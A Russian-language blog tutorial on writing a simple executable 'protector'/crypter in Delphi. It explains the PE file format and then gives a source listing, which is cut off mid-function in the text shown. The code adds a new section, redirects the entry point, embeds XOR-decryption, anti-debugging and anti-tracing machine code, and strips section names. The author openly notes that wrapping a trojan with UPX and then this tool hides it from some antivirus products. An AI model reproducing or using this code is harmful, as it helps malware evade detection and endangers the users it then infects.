Авг
16

Пишем криптор на Delphi (+ исходник криптора)

Пишем свой простой протектор (автор: Bagie)

В данной статье я приведу пример простого протектора исполняемых
файлов. В ходе приведения исходного текста будут производиться
необходимые пояснения.


С чего же начать писать свой собственный протектор? Для начала нам
необходимо минимум теории. Также мы должны знать что хотим написать.
Писать мы будем простейший в своем роде протектор, который выполняет
следующее: шифрует байты на оригинальной точке входа (что это такое
читайте далее), стирает сигнатуры пакеров (в данном случае UPX), т.е.
работает как скрамблер, использует антиотладочные приемы. В качестве
языка я предлагаю ObjectPascal, но при желании Вы легко сможете
переписать это на другой язык.


Итак, теория и необходимые термины

Начнем с разбора формата исполняемых файлов PortableExecutable (PE). Что же этот формат из себя представляет.

Структура файла такова:

DOS-заглушка Содержит старый DOS-заголовок + DOS-программа
PE-заголовок Содержит необходимую информацию о PE-файле
Заголовки секций Содержат необходимую информацию о секциях в файле
Сами секции Содержат непосредственно сам код, данные, ресурсы и др.
Оверлей Любые данные, приписанные к концу PE-файла (Может не присутствовать)

Ничего сложного здесь нет. DOS-заглушка — это просто досовская
программа, которая обычно выводит сообщение типа: «This program must be
run under Win32» или что-то типа того и завершает свою работу.

PE-заголовок содержит служебную информацию, в процессе написания мы много раз будем ей использовать.

Заголовки секций в программном файле содержат соответственно иформацию о соответствующей секции.

Сами секции это куски кода, данных, ресурсов, служебной информации,
такой как: таблица импортов/экспортов, релоки, отладочная информация и
др.

Оверлей это все что находится после конца PE-файла. Часто оверлеев в
обычных файлах нет, но зато почти всегда есть в SFX-архивах и
дистрибутивах.

Я думаю, что здесь все понятно, поэтому приступим к более подробному
изучению формата PE-заголовка и секций. В PE-заголовке я поясню только
те поля, которые нам понадобятся.

Чтобы найти начало PE-заголовка в файле необходимо считать из файла
значение типа DWORD по смещению $3C. Там хранится смещение от начала
файла до начала PE-заголовка.

Необходимые поля PE-заголовка:

Смещение Тип Название Описание
$00 DWORD Signature Bytes Сигнатурка того, что этот файл собственно говоря является PE — должна быть $4550
$06 WORD Num of Objects это поле указывает на число реальных входов в Object Table (кол-во секций)
$14 WORD NT Header Size размер заголовка PE файла начиная с поля Magic, общий размер заголовка PE файла составляет NT Header Size + $18
$28 DWORD Entry point RVA адрес,
относительно Image Base по которому передается управление при запуске
программы или адрес инициализации/завершения библиотеки
$34 DWORD Image Base виртуальный начальный адрес загрузки программы (ее первого байта)
$38 DWORD Object align выравнивание
программных секций, должен быть степенью 2 между 512 и 256М
включительно, так же связано с системой памяти. При использовании
других значений программа не загрузится
$3C DWORD File align фактор
используемый для выравнивания секций в программном файле. В байтовом
значении указывает на границу на которую секции дополняются 0 при
размещении в файле. Большое значение приводит к нерациональному
использованию дискового пространства, маленькое увеличивает
компактность, но и снижает скорость загрузки. Должен быть степенью 2 в
диапазоне от 512 до 64К включительно. Прочие значения вызовут ошибку
загрузки файла
$50 DWORD Image Size виртуальный размер в байтах всего загружаемого образа, вместе с заголовками, кратен Object align

Тут нет ничего сложного, за исключением, пожалуй, одной детали. Дело в
том, что все адреса памяти, записанные в заголовке относительные. А
относительны они относильно ImageBase (хорошо сказано), т.е. чтобы
вычислить абсолютный адрес нужно прибавить к относительному ImageBase.
VA = RVA + ImageBase (VA (от VirtualAddress) — абсолютный адрес; RVA
(от Relative VirtualAddress) — относительный)

Формат заголовка секции:

Смещение Тип Название Описание
$00 8 Bytes Object Name Имя
объекта, остаток заполнен нулями, если имя объекта имеет длину 8
символов, то заключительного 0 нет. Имя — штука отфонарная и никого ни
к чему не обязывает
$08 DWORD Virtual Size виртуальный
размер секции, именно столько памяти будет отведено под секцию. Если
Virtual Size превышает Physical Size, то разница заполняется нулями,
так определяются секции неинициализированных данных (Physical Size = 0)
$0C DWORD Object RVA размещение
секции в памяти, виртуальный ее адрес относительно Image Base. Позиция
каждой секции выравнена на границу Object align (степень 2 от 512 до
256М включительно, по умолчанию 64К) и секции упакованы впритык друг к
другу, впрочем, можно это не соблюдать
$10 DWORD Physical Size размер
секции (ее инициализированной части) в файле, кратно полю File align в
заголовке PE Header, должно быть меньше или равно Virtual Size
$14 DWORD Physical Offset физическое смещение относительно начала EXE файла, выровнено на границу File align поля заголовка PE Header
$18 DWORD PointerToRelocations зарезервировано для OBJ файла, в экзешниках смысла не имеет
$1C DWORD PointerToLinenumbers зарезервировано для OBJ файла, в экзешниках смысла не имеет
$20 DWORD NumberOfRelocations зарезервировано для OBJ файла, в экзешниках смысла не имеет
$24 DWORD NumberOfLinenumbers зарезервировано для OBJ файла, в экзешниках смысла не имеет
$28 DWORD Object Flags битовые флаги секции

Тут также нет ничего сложного. После всех заголовков, с выравниванием
кратным File align идут непосредственно сами секции исполняемого файла.
Если Вы ничего не поняли что написано выше или хотите более подробно
изучить формат PE, то рекомендую почитать документацию, например
«ФОРМАТ ИСПОЛНЯЕМЫХ ФАЙЛОВ PortableExecutables» от Hard Wisdom.


Ну теперь приступим к написанию непосредственно нашего протектора.

Для начала входной файл нам нужно проверить является ли он исполняемым,
да еще в формате PE. Те кто внимательно читал что написано выше уже
могут догадаться что мы должны предпринять.

Сначала проверим является ли первое слово (WORD), в файле = ‘ZM'($5A4D), если нет, то это по любому не программа.

Во вторых, слово по смещению $18 должно быть >= $40, тогда и только тогда DWORD поле по смещению $3C имеет смысл.

Затем проверяем сигнатуру в PE-заголовке, которая должна быть равна $00004550.

Если все эти условия выполняются то впринципе мы можем попробовать такой файл обработать.

Для удобства мы создадим прототип функции, которая будет обрабатывать наш файл.

    fucntion ProtectFile(szFileName: string; dwFlags: DWORD): Boolean;
    begin
      Result:= False;
    end;

szFileName — путь к файлу, dwFlags — дополнительные параметры. Затем просто осуществим проверку файла на валидность

    function IsFullPath(const Path: string): Boolean;
    begin
      Result:= ExtractFileDrive(Path) <> '';
    end;

    {  Дополнительные параметры при обработке файла  }
    const
      PROTECTION_FLAG_MAKEBACKUP   = $00000001;  // создать резервную копию файла
      PROTECTION_FLAG_SAVEOVERLAY  = $00000010;  // сохранить оверлей

    { Функция обработки файла }
    function ProtectFile(szFileName: string; dwFlags: DWORD): Boolean;
    var
      BackupFile: string;
      FHandle: HFILE;
      OFS: OFSTRUCT;
      EXESig: WORD;  // сигнатура файла
      PEHeaderOffset: DWORD; // смещение PE-заголовка
      ImageNtHeaders: TImageNtHeaders; // заголовки файла
      dwTemp: DWORD;
      W: Word;

    label
      Quit;

    begin
      Result:= False; // пока установим ложь

      { Имя входного файла }
      Writeln('Input file: ', ExtractFileName(szFileName), #10#13);

      if not IsFullPath(szFileName) then
        szFileName:= GetCurrentDir + '\' + szFileName;

      { А если файла нет ? }
      if not FileExists(szFileName) then
      begin
        Writeln('Can not find a file');
        goto Quit;
      end;

      { Нужна резервная копия ? }
      if (dwFlags and PROTECTION_FLAG_MAKEBACKUP <> 0) then
      begin
        BackupFile:= szFileName + '.bak';
        SetFileAttributes(PChar(BackupFile), 0);
        DeleteFile(PChar(BackupFile));
        CopyFile(PChar(szFileName), PChar(BackupFile), False);
      end;

      { Открываем файл }
      SetFileAttributes(PChar(szFileName), 0);
      FHandle:= OpenFile(PChar(szFileName), OFS, OF_READWRITE);
      if (FHandle = INVALID_HANDLE_VALUE) then
      begin
        Writeln('Open file error');
        goto Quit;
      end;

      { Читаем сигнатуру MZ }
      ReadFile(FHandle, EXESig, SizeOf(EXESig), dwTemp, nil);
      if EXESig <> IMAGE_DOS_SIGNATURE then
      begin
        Writeln('Invalid MZ file');
        goto Quit;
      end;

      { А если файла левый ? }
      SetFilePointer(FHandle, $18, nil, FILE_BEGIN);
      ReadFile(FHandle, W, SizeOf(W), dwTemp, nil);
      if W < $40 then
      begin
        Writeln('Invalid PE file (1)');
        goto Quit;
      end;

      { Проверяем значение PE header offset }
      SetFilePointer(FHandle, $3C, nil, FILE_BEGIN);
      ReadFile(FHandle, PEHeaderOffset, SizeOf(PEHeaderOffset), dwTemp, nil);
      if (PEHeaderOffset = 0) then
      begin
        Writeln('Invalid PE file (2)');
        goto Quit;
      end;

      if (PEHeaderOffset < $40) then
      begin
        Writeln('Invalid PE file (3)');
        goto Quit;
      end;

      { Проверяем сигнатуру PE }
      SetFilePointer(FHandle, PEHeaderOffset, nil, FILE_BEGIN);
      ReadFile(FHandle, ImageNtHeaders, SizeOf(ImageNtHeaders), dwTemp, nil);
      if ImageNtHeaders.Signature <> IMAGE_NT_SIGNATURE then
      begin
        Writeln('Invalid PE file (4)');
        goto Quit;
      end;
      Result:= True; // все ок и мы здесь можем продолжить...
      //...
    Quit:
      CloseHandle(FHandle);
    end;

Итак, мы умеем проверять файл на валидность. Теперь можно приступать
непосредственно к написанию кода протектора. Но сначала снова немножко
теории.

Протектор — это программа, значит она должна содержать исполняемый код.
Следовательно нам нужно добавить этот код в уже скомпиллированный файл.
Как известно в PE-файлах код хранится в секции (хотя это и не
обязательно, код, например, можно хранить в заголовках). Для этого нам
просто понадобится один из вариантов: дописать код к последней секции
файла или создать новую секцию. Первый вариант легче, а мы легкого пути
не ищем, поэтому выбираем второй.

Чтобы добавить секцию в файл необходимо выполнить следующие шаги:

1) Увеличиваем значение поля PE-заголовка NumOfObjects на 1.

2) Дописываем к концу последнего заголовка секции еще один заголовок нашей секции

3)
Устанавливаем атрибуты нашей секции так: VirtualSize = PhysicalSize =
4096 (именно это значение потому что нам не придется ничего
выравнивать, т.к. это поле кратно значению выравнивания, и 4 килобайт
кода нам вполне хватит). PhysicalOffset = PhysicalOffset последней
секции + PhysicalSize последней секции. VirtualAddress = VirtualAddress
последней секции + VirtualSize последней секции, а затем это значение
нужно установить кратным SectionAlignment до большего значение.
Атрибуты секции лучше установить на чтение и запись, например такие —
$E0000040. Остальные поля забиваем нулями. Имя секции можете присвоить
любое.

4) Дописать саму секцию к концу файла. Её размер мы уже предопределили и он равен PhysicalSize

5)
Необходимо поправить значение поля PE-заголовка SizeOfImage и увеличить
его размер на выровненный виртуальный размер нашей новой секции.

После всего этого в программном файле появится новая секция, в нашем
случае равная размеру одной страницы в памяти. Остается последний
вопрос каким образом нашему коду получить управление. Для этого
устанавливаем значение поля PE-заголовка EntryPoint равное
VirtualAddress нашей секции. И все. Теперь при запуске программы
управление получит наш код.

Теперь, когда мы добавили свой код в файл нам нужно чтобы он что-то
выполнял. В самом наипростейшем случае мы должны просто сразу передать
управление программе-носителю. Это осуществляется с помощью пары
процессорных команд.

MOV EAX,$АДРЕС_ОРИГИНАЛЬНОЙ_ТОЧКИ_ВХОДА

JMP EAX

Для тех кто не знает ассемблера объясню, что сначала в регистр
помещяется адрес OEP (значение поля EntryPoint, до того как мы его
подправили + ImageBase), а затем осуществляется переход по этому
адресу.

Больше я ничего не буду объяснять, а просто приведу полный листниг
исходного текста протектора с комментариями. Приведенный ниже код
полностью работоспособен и лучше данный протектор испытывайте поверх
UPX, т.к. результат намного лючше. А еще небольшой сюрприз для
люьителей побаловаться «нехорошими программами». Если запаковать троян,
например UPX, а затем этим протектором, то «некоторые известные
антивирусы» вообще не определят, что троян чем-либо запакован, и
естественно троян не будет замечен :)


    program ProtExample;

    {$APPTYPE CONSOLE}

    uses
      Windows, SysUtils;

    function IsFullPath(const Path: string): Boolean;
    begin
      Result:= ExtractFileDrive(Path) <> '';
    end;

    {  Дополнительные параметры при обработке файла  }
    const
      PROTECTION_FLAG_MAKEBACKUP   = $00000001;  // создать резервную копию файла
      PROTECTION_FLAG_SAVEOVERLAY  = $00000010;  // сохранить оверлей

    { Функция обработки файла }
    function ProtectFile(szFileName: string; dwFlags: DWORD): Boolean;
    const
      NewCodeSize = 4096; // размер новой секции в файле
      SignOffset  = 0;    // нашей смещение сигнатуры в секции

      { Сама сигнатура протектора }
      Sign: array[0..23] of Char = (#$E8, #$00, #$00, #$00, #$00, #$5D, #$83, #$C5,
                                    #$12, #$55, #$C3, #$20, #$83, #$B8, #$ED, #$20,
                                    #$37, #$EF, #$C6, #$B9, #$79, #$37, #$9E, #$00);

      { Сигнатура расшифровки простым XOR }
      DecryptSign: array[0..19] of Byte =
        ($BE, $00, $00, $00, $00,      // MOV ESI,xxxxxxxx ; x - начальное смещение
         $B0, $00,                     // MOV AL,xx        ; первый XOR-байт
         $30, $06,                     // XOR [ESI],AL
         $8A, $06,                     // MOV AL,[ESI]
         $46,                          // INC ESI
         $81, $FE, $00, $00, $00, $00, // CMP ESI,xxxxxxxx  ; x - конечное смещение
         $7C, $F3);                    // JL -0B

      { Противоотладочная сигнатура }
      AntiDebugSign: array[0..63] of Byte =
        ($EB, $09,                          // JMP 0040100B
         $90,                               // NOP
         $90,                               // NOP
         $90,                               // NOP
         $58,                               // POP EAX
         $EB, $38,                          // JMP 00401040
         $90,                               // NOP
         $90,                               // NOP
         $90,                               // NOP
         $33, $C9,                          // XOR ECX,ECX
         $83, $C1, $10,                     // ADD ECX,10
         $BB, $FF, $FF, $FF, $77,           // MOV EBX,77FFFFFF
         $64, $8B, $83, $19, $00, $00, $88, // MOV EAX,FS:[EBX+88000019]
         $8B, $44, $48, $10,                // MOV EAX,[ECX*2+EAX+10]
         $0F, $B6, $40, $02,                // MOVZX EAX,BYTE PTR [EAX+02]
         $F7, $D0,                          // NOT EAX
         $83, $E0, $01,                     // AND EAX,01
         $8B, $D8,                          // MOV EBX,EAX
         $68, $F6, $FB, $C3, $00,           // PUSH 00C3FBF6
         $E8, $00, $00, $00, $00,           // CALL 00401035
         $83, $2C, $24, $33,                // SUB DWORD PTR [+ESP],33
         $8B, $F4,                          // MOV ESI,ESP
         $83, $C6, $04,                     // ADD ESI,04
         $FF, $E6);                         // JMP ESI

      { Противотрейсерная сигнатура }
      AntiTraceSign: array[0..71] of Byte =
        ($31, $C0,                               // XOR EAX,EAX
         $55,                                    // PUSH EBP
         $E8, $00, $00, $00, $00,                // CALL +05
         $83, $04, $24, $34,                     // ADD DWORD PTR [ESP],$34
         $64, $FF, $30,                          // PUSH DWORD PTR [FS:EAX]
         $64, $89, $20,                          // MOV [FS:EAX],ESP
         $9C,                                    // PUSHFD
         $58,                                    // POP EAX
         $0D, $00, $01, $00, $00,                // OR EAX,$100
         $6A, $00,                               // PUSH 00
         $6A, $FF,                               // PUSH FF
         $6A, $00,                               // PUSH 00
         $6A, $00,                               // PUSH 00
         $50,                                    // PUSH EAX
         $B8, $01, $01, $00, $00,                // MOV EAX,$101
         $89, $E2,                               // MOV EDX,ESP
         $83, $C2, $04,                          // ADD EDX,$04
         $C7, $44, $24, $FC, $0F, $34, $00, $00, // MOV DWORD PTR [ESP-$04],$340F
         $89, $E1,                               // MOV ECX,ESP
         $83, $E9, $04,                          // SUB ECX,$04
         $9D,                                    // POPFD
         $FF, $E1,                               // JMP ECX
         $58,                                    // POP EAX
         $58,                                    // POP EAX
         $58,                                    // POP EAX
         $58,                                    // POP EAX
         $31, $C0,                               // XOR EAX,EAX
         $5A,                                    // POP EDX
         $59,                                    // POP ECX
         $59,                                    // POP ECX
         $64, $89, $10);                         // MOV [FS:EAX],EDX

    type
      {  Создадим свой тип для описания заголовка секции  }
      TImageSectionHeader = packed record
        Name: array[0..7] of Char;
        VirtualSize: DWORD;
        VirtualAddress: DWORD;
        PhysicalSize: DWORD;
        PhysicalOffset: DWORD;
        PointerToRelocations: DWORD;
        PointerToLinenumbers: DWORD;
        NumberOfRelocations: WORD;
        NumberOfLinenumbers: WORD;
        Characteristics: DWORD;
      end;

    var
      BackupFile: string;
      FHandle: HFILE;
      OFS: OFSTRUCT;
      EXESig: WORD;  // сигнатура файла
      PEHeaderOffset: DWORD; // смещение PE-заголовка
      PEHeaderSize: DWORD;  // размер PE-заголовка
      ImageNtHeaders: TImageNtHeaders; // заголовки файла
      SectionHeader: TImageSectionHeader;  // заголовок секции
      EntryPointOffset: DWORD;  // смещение точки входа
      EndOfCodeSection: DWORD;  // смещение конца секции кода
      NewSectionOffset: DWORD;  // смещение новой секции
      NewSectionRVA: DWORD;     // адрес новой секции
      NewImageSize: DWORD;      // новый размер образа
      FirstSectionOffset: DWORD;  // смещение первой секции
      NewFirstSectionOffset: DWORD; // новое смещение первой секции
      MoveCount: DWORD;
      EndOfImage: DWORD;
      OverlaySize: DWORD;   // размер оверлея
      dwTemp: DWORD;
      ptrBuf: Pointer;
      dwBufSize: DWORD;
      TestBuff: array[0..High(Sign)] of Char;
      I, J: DWORD;
      W: WORD;
      B, X: Byte;
      SD_XorByte: Byte;
      SD_StartOffset: DWORD;
      SD_EndOffset: DWORD;
      EP_XorByte: Byte;
      EP_StartOffset: DWORD;
      EP_EndOffset: DWORD;

    label
      Quit;

      function RVAToOffset(RVA, SectionRVA, SectionOffset: DWORD): DWORD;
      begin
        Result:= RVA - SectionRVA + SectionOffset;
      end;

      function OffsetToRVA(Offset, SectionRVA, SectionOffset: DWORD): DWORD;
      begin
        Result:= Offset + SectionRVA - SectionOffset;
      end;

      function Bit(B: DWORD): Byte;
      begin
        if B <> 0 then
          Result:= 1
        else
          Result:= 0;
      end;

      { Получает текущее RVA  }
      function GetCurrentRVA: DWORD;
      begin
        Result:= OffsetToRVA(SetFilePointer(FHandle, 0, nil, FILE_CURRENT),
          NewSectionRVA, NewSectionOffset);
      end;

      { Заполняет значение по адресу DWORD'ом  }
      procedure FillAddress(ptrArray: Pointer; wFirstIndex: Word; dwValue: DWORD);
      begin
        Inc(DWORD(ptrArray),wFirstIndex);
        Byte(ptrArray^):= LoByte(LoWord(dwValue));
        Inc(DWORD(ptrArray));
        Byte(ptrArray^):= HiByte(LoWord(dwValue));
        Inc(DWORD(ptrArray));
        Byte(ptrArray^):= LoByte(HiWord(dwValue));
        Inc(DWORD(ptrArray));
        Byte(ptrArray^):= HiByte(HiWord(dwValue));
      end;

    begin
      Result:= False; // пока установим ложь

      { Имя входного файла }
      Writeln('Input file: ', ExtractFileName(szFileName), #10#13);

      if not IsFullPath(szFileName) then
        szFileName:= GetCurrentDir + '\' + szFileName;

      { А если файла нет ? }
      if not FileExists(szFileName) then
      begin
        Writeln('Can not find a file');
        goto Quit;
      end;

      { Нужна резервная копия ? }
      if (dwFlags and PROTECTION_FLAG_MAKEBACKUP <> 0) then
      begin
        BackupFile:= szFileName + '.bak';
        SetFileAttributes(PChar(BackupFile), 0);
        DeleteFile(PChar(BackupFile));
        CopyFile(PChar(szFileName), PChar(BackupFile), False);
      end;

      { Открываем файл }
      SetFileAttributes(PChar(szFileName), 0);
      FHandle:= OpenFile(PChar(szFileName), OFS, OF_READWRITE);
      if (FHandle = INVALID_HANDLE_VALUE) then
      begin
        Writeln('Open file error');
        goto Quit;
      end;

     { Читаем сигнатуру MZ }
     ReadFile(FHandle, EXESig, SizeOf(EXESig), dwTemp, nil);
     if EXESig <> IMAGE_DOS_SIGNATURE then
     begin
      Writeln('Invalid MZ file');
      goto Quit;
     end;

     { А если файла левый ? }
     SetFilePointer(FHandle, $18, nil, FILE_BEGIN);
     ReadFile(FHandle, W, SizeOf(W), dwTemp, nil);
     if W < $40 then
     begin
       Writeln('Invalid PE file (1)');
       goto Quit;
     end;

     { Проверяем значение PE header offset }
     SetFilePointer(FHandle, $3C, nil, FILE_BEGIN);
     ReadFile(FHandle, PEHeaderOffset, SizeOf(PEHeaderOffset), dwTemp, nil);
     if (PEHeaderOffset = 0) then
     begin
       Writeln('Invalid PE file (2)');
       goto Quit;
     end;

     if (PEHeaderOffset < $40) then
     begin
       Writeln('Invalid PE file (3)');
       goto Quit;
     end;

     { Проверяем сигнатуру PE }
     SetFilePointer(FHandle, PEHeaderOffset, nil, FILE_BEGIN);
     ReadFile(FHandle, ImageNtHeaders, SizeOf(ImageNtHeaders), dwTemp, nil);
     if ImageNtHeaders.Signature <> IMAGE_NT_SIGNATURE then
     begin
       Writeln('Invalid PE file (4)');
       goto Quit;
     end;

     { Сотрем эти значения PE-заголовка }
     ImageNtHeaders.FileHeader.TimeDateStamp:= 0;
     ImageNtHeaders.OptionalHeader.MajorLinkerVersion:= 0;
     ImageNtHeaders.OptionalHeader.MinorLinkerVersion:= 0;
     ImageNtHeaders.OptionalHeader.CheckSum:= 0;

     { Вычислим размер PE-заголовка }
     PEHeaderSize:= ImageNtHeaders.FileHeader.SizeOfOptionalHeader +
       SizeOf(ImageNtHeaders.FileHeader) + 4;

      { Пробежимся по заголовкам секций }
      NewImageSize:= 0; // новый размер образа
      J:= ImageNtHeaders.OptionalHeader.SectionAlignment;
      { Уходим на физическое смещение начала заголовка первой секци }
      SetFilePointer(FHandle, PEHeaderOffset + PEHeaderSize, nil, FILE_BEGIN);
      for I:= 1 to ImageNtHeaders.FileHeader.NumberOfSections do
      begin
        ReadFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
        Inc(NewImageSize, SectionHeader.VirtualSize);
        { Вычислим новый размер образа }
        NewImageSize:= (NewImageSize div J) * J + J * Bit(NewImageSize mod J);
        { Если RVA каталога ресурсов попадает в диапазон адресов секции, то OK }
        if (ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
           VirtualAddress >= SectionHeader.VirtualAddress)
          and (ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
            VirtualAddress < SectionHeader.VirtualAddress + SectionHeader.VirtualSize) then
        begin
          { Если это секция ресурсов, то установим название '.rsrc' }
           FillChar(SectionHeader.Name, SizeOf(SectionHeader.Name), #0);
           StrPCopy(SectionHeader.Name, '.rsrc');
        end else begin
          { Имена остальных секций стираем, а параметры изменяем на RW }
          FillChar(SectionHeader.Name, SizeOf(SectionHeader.Name), #0);
          SectionHeader.Characteristics:= $E0000000 +
            SectionHeader.Characteristics mod $10000000;
        end;
        SetFilePointer(FHandle, -SizeOf(SectionHeader), nil, FILE_CURRENT);
        WriteFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
      end;

      { Вычислим секцию кода }
      SetFilePointer(FHandle, PEHeaderOffset + PEHeaderSize, nil, FILE_BEGIN);
      for I:= 1 to ImageNtHeaders.FileHeader.NumberOfSections do
      begin
        ReadFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
        { Если EntryPointRVA попадает в диапазон адресов секции, то OK }
        if (ImageNtHeaders.OptionalHeader.AddressOfEntryPoint >= SectionHeader.VirtualAddress)
          and (ImageNtHeaders.OptionalHeader.AddressOfEntryPoint <
            SectionHeader.VirtualAddress + SectionHeader.VirtualSize) then Break;
      end;
      { Вычислим физическое смещение точки входа }
      EntryPointOffset:= RVAToOffset(ImageNtHeaders.OptionalHeader.
        AddressOfEntryPoint, SectionHeader.VirtualAddress, SectionHeader.PhysicalOffset);
      { Вычислим физическое смещение конца секцию кода }
      EndOfCodeSection:= ImageNtHeaders.OptionalHeader.ImageBase +
        SectionHeader.VirtualAddress + SectionHeader.PhysicalSize;

      { Уходим на физическое смещение точки входа }
      SetFilePointer(FHandle, EntryPointOffset, nil, FILE_BEGIN);
      ReadFile(FHandle, I, SizeOf(I), dwTemp, nil);

      { А не обработан ли уже наш файл ? }
      SetFilePointer(FHandle, EntryPointOffset + SignOffset, nil, FILE_BEGIN);
      ReadFile(FHandle, TestBuff, SizeOf(TestBuff), dwTemp, nil);
      TestBuff[High(TestBuff)]:= #0;
      if StrComp(TestBuff, Sign) = 0 then
      begin
        Writeln('This file is already protected');
        goto Quit;
      end;

      { Уходим на физическое смещение начала заголовка первой секции }
      SetFilePointer(FHandle, PEHeaderOffset + PEHeaderSize, nil, FILE_BEGIN);
      ReadFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
      { Вычисляем физическое смещение первой секции }
      FirstSectionOffset:= SectionHeader.PhysicalOffset;
      I:= (ImageNtHeaders.FileHeader.NumberOfSections-1) * SizeOf(SectionHeader);
      { Уходим на физическое смещение начала заголовка последней секции }
      SetFilePointer(FHandle, PEHeaderOffset + PEHeaderSize + I, nil, FILE_BEGIN);
      ReadFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
      { Вычисляем физическое смещение конца последней секции }
      EndOfImage:= SectionHeader.PhysicalOffset + SectionHeader.PhysicalSize;
      { Получаем размер оверлея }
      OverlaySize:= GetFileSize(FHandle, nil) - EndOfImage;

      { Создаем заголовок новой секции }
      FillChar(SectionHeader.Name, SizeOf(SectionHeader.Name), #0);
      { Запишем имя новой секции }
      StrPCopy(SectionHeader.Name, '.data');
      J:= ImageNtHeaders.OptionalHeader.SectionAlignment;
      Inc(SectionHeader.VirtualAddress, SectionHeader.VirtualSize);
      I:= SectionHeader.VirtualAddress;
      { RVA новой секции =  RVA пред. секции + размер пред. секции,
        выровненный на SectionAlignment}
      SectionHeader.VirtualAddress:= (I div J) * J + J * Bit(I mod J);
      { сохраним RVA новой секции }
      NewSectionRVA:= SectionHeader.VirtualAddress;
      Inc(SectionHeader.PhysicalOffset, SectionHeader.PhysicalSize);
      SectionHeader.PointerToRelocations:= 0;
      SectionHeader.PointerToLinenumbers:= 0;
      SectionHeader.NumberOfRelocations:= 0;
      SectionHeader.NumberOfLinenumbers:= 0;
      SectionHeader.Characteristics:= $E0000040; // флаги секции ERW
      { физический и виртуайльный размер новой секции = NewCodeSize }
      SectionHeader.VirtualSize:= NewCodeSize;
      SectionHeader.PhysicalSize:= NewCodeSize;
      { А надо ли сохранить оверлей ? }
      if (dwFlags and PROTECTION_FLAG_SAVEOVERLAY <> 0) then
        { Если надо, то копируем в буфер все секции + оверлей }
        dwBufSize:= GetFileSize(FHandle, nil) - FirstSectionOffset
      else
        { Если НЕ надо, то копируем в буфер только все секции }
        dwBufSize:= GetFileSize(FHandle, nil) - FirstSectionOffset - OverlaySize;
      GetMem(ptrBuf, dwBufSize);
      I:= SetFilePointer(FHandle, 0, nil, FILE_CURRENT);
      SetFilePointer(FHandle, FirstSectionOffset, nil, FILE_BEGIN);
      { Считываем данные секций в буфер }
      ReadFile(FHandle, ptrBuf^, dwBufSize, dwTemp, nil);
      { Дописываем к концу заголовка последней секции свой заголовок }
      SetFilePointer(FHandle, I, nil, FILE_BEGIN);
      WriteFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);

      I:= SetFilePointer(FHandle, 0, nil, FILE_CURRENT);
      J:= ImageNtHeaders.OptionalHeader.FileAlignment;
      { Вычислыем новое смещение первой секции }
      NewFirstSectionOffset:= (I div J) * J + J * Bit(I mod J);
      B:= $00;
      { Сколько необходимо байт дописать }
      MoveCount:= NewFirstSectionOffset-I;
      { Выравниваем заголовки до FileAlignment }
      for I:= 1 to MoveCount do
        WriteFile(FHandle, B, SizeOf(B), dwTemp, nil);
      { Записываем буфер с секциями }
      WriteFile(FHandle, ptrBuf^, dwBufSize, dwTemp, nil);
      FreeMem(ptrBuf);

      { Уходим на физическое смещение начала заголовка первой секции }
      SetFilePointer(FHandle, PEHeaderOffset + PEHeaderSize, nil, FILE_BEGIN);
      ReadFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
      { Вычислыем новое смещение первой секции }
      FirstSectionOffset:= SectionHeader.PhysicalOffset;
      { На сколько сместились секции в файле }
      MoveCount:= NewFirstSectionOffset - FirstSectionOffset;
      { Новый размер заголовков }
      ImageNtHeaders.OptionalHeader.SizeOfHeaders:= NewFirstSectionOffset;
      SetFilePointer(FHandle, PEHeaderOffset + PEHeaderSize, nil, FILE_BEGIN);
      { Правим физическое смещение каждой секции на MoveCount }
      for I:= 1 to ImageNtHeaders.FileHeader.NumberOfSections do
      begin
        ReadFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
        SectionHeader.PhysicalOffset:= SectionHeader.PhysicalOffset + MoveCount;
        SetFilePointer(FHandle, -SizeOf(SectionHeader), nil, FILE_CURRENT);
        WriteFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
      end;

      B:= $00;
      { Уходим на физическое смещение конца последней секции }
      SetFilePointer(FHandle, EndOfImage, nil, FILE_BEGIN);
      { А надо ли сохранить оверлей ? }
      if (dwFlags and PROTECTION_FLAG_SAVEOVERLAY <> 0) then
      begin
        { Если надо, копируем оверлей в буфер,
          затем забиваем нулями новую секцию и
          приписываем к концу файла оверлей }
        dwBufSize:= OverlaySize;
        GetMem(ptrBuf, dwBufSize);
        ReadFile(FHandle, ptrBuf^, dwBufSize, dwTemp, nil);
        SetFilePointer(FHandle, EndOfImage, nil, FILE_BEGIN);
        NewSectionOffset:= SetFilePointer(FHandle, 0, nil, FILE_CURRENT);
        for I:= 1 to NewCodeSize do
          WriteFile(FHandle, B, SizeOf(B), dwTemp, nil);
        WriteFile(FHandle, ptrBuf^, dwBufSize, dwTemp, nil);
        FreeMem(ptrBuf);
      end else begin
        { Если НЕ надо, то забиваем нулями новую секцию и обрезаем конец файла }
        NewSectionOffset:= SetFilePointer(FHandle, 0, nil, FILE_CURRENT);
        for I:= 1 to NewCodeSize do
          WriteFile(FHandle, B, SizeOf(B), dwTemp, nil);
        SetEndOfFile(FHandle);
      end;

      { Завершаем вычисление NewImageSize }
      Inc(NewImageSize, NewFirstSectionOffset);
      J:= ImageNtHeaders.OptionalHeader.SectionAlignment;
      NewImageSize:= (NewImageSize div J) * J + J * Bit(NewImageSize mod J);

      Inc(NewImageSize, NewCodeSize);
      NewImageSize:= (NewImageSize div J) * J + J * Bit(NewImageSize mod J);
      ImageNtHeaders.FileHeader.NumberOfSections:=
        ImageNtHeaders.FileHeader.NumberOfSections + 1;
      { Сохраняем NewImageSize }
      ImageNtHeaders.OptionalHeader.SizeOfImage:= NewImageSize;

      {****************************************************************************}

      { Отправляемся на смещение начала нашей секции }
      SetFilePointer(FHandle, NewSectionOffset, nil, FILE_BEGIN);

      { Записываем в секцию нашу сигнатуру }
      WriteFile(FHandle, Sign, SizeOf(Sign), dwTemp, nil);
